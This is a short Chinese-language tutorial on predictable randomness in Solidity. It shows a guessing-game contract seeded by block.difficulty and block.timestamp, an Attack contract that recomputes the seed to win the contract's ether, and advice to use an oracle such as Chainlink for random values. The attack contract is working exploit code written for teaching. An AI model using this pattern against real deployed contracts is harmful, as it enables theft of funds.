一、漏洞
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
contract GuessTheRandomNumber {
constructor() payable {}
function guess(uint _guess) public {
uint answer = uint(
keccak256(abi.encodePacked(block.difficulty, block.timestamp))
);
if (_guess == answer) {
(bool sent, ) = msg.sender.call{value: 1 ether}("");
require(sent, "Failed to send Ether");
}
}
}
contract Attack {
receive() external payable {}
function attack(GuessTheRandomNumber guessTheRandomNumber) public {
uint answer = uint(
keccak256(abi.encodePacked(block.difficulty, block.timestamp))
);
guessTheRandomNumber.guess(answer);
}
// Helper function to check balance
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
这个猜数的合约很简单,即你猜对了数就给你1 ether,这个随机数生成种子采用的是block.difficulty
, block.timestamp
。
攻击合约知道随机生成的规则,用了相同的随机数种子——因为都是链上公有的数据,先算出来再调用猜数合约,这样就很容易把合约里的以太都赢过来。
二、预防手段
不用使用block.difficulty
、block.timestamp
等公用的区块参数作为随机数的种子,这样会很容易被破解。
一般来说,如果你需要用随机数,而且这个随机数要用在非常重要的涉及核心逻辑的场景时,就可以选择从预言机中拿到随机数值,比如chainlink,就提供了随机数。官方文档中有《Get a Random Number》一节,可以点击查看。